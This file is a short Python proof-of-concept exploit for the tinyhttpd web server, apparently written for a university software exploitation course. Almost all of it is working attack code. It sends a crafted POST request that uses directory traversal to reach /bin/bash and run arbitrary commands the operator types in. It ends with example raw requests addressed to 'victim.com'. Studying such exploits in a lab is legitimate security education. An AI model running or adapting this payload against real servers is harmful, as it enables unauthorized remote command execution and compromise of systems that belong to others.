# POC FOR TINYHTTPD EXPLOIT FALL 2019 JAROD KEENE, LOGAN STRATTON, ANDREW KRAMER
# SOFTWARE EXPLOITATION GRANT DAKOTA STATE UNIVERSITY

#!/usr/bin/python2.7
import socket
import os
import sys
from time import sleep
# PWNTOOLS IMPORT TO BE USED FOR THE EXPOIT CONNECTION
from pwn import *

# CREATE VARIABLES FOR THE TARGET MACHINE
# CURRENT HOSTNAME tinyhttpd.host IS AN ENTRY IN MY HOSTS FILE
hostname = "tinyhttpd.host"
# STANDARD PORT 80 (COULD BE SUBJECT TO CHANGE IN DIFFERENT ENVIRONMENTS)
port = 80
# USE SOCKET LIBRARY TO GRAB AN IP FROM THE HOSTNAME
ip = socket.gethostbyname(hostname)

# SOCKET LIBRARY METHOD OF REMOTELY CONNECTING TO TARGET
# WE WILL USE PWNTOOLS FOR THIS EXAMPLE BECAUSE OF ITS STRAIGHT FORWARD NATURE
# s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# s.connect((ip, port))

# PWNTOOLS METHOD (EASIER TO USE)
s = remote(hostname, port)
# S NOW HOLDS ONTO A "SOCKET" LIKE CONNECTION VARIABLE

# GRAB THE COMMAND THAT THE USER WANTS TO RUN
com = raw_input("command: ")
#BUILD OUT THE PAYLOAD, POST WITH BASH AS TARGET AND POST CONTENT AS COMMAND VARIABLE
payload = "POST /../../../../../../../bin/bash\nContent-Length: " + str(len(com)) + "\n\n"+ com +"\n"
# SEND THE PAYLOAD WE BUILT OUT 
s.send(payload)
# SLEEP TO MAKE SURE THE COMMAND FINISHES AND RESPONDS
sleep(0.1)
# RECEIVE THE RESPONSE FROM THE SERVER (SHOULD CONTAIN)
data = s.recv()

print(data)


# EXAMPLE OF WHAT THE POST LOOKS LIKE:
'''
POST /../../../../../bin/bash
Host: victim.com
Content-Length: <COMMAND LENGTH>

ls


#SINGLE LINE FORMAT
POST /../../../../../bin/bash \nContent-Length: 2\n\nls\n
'''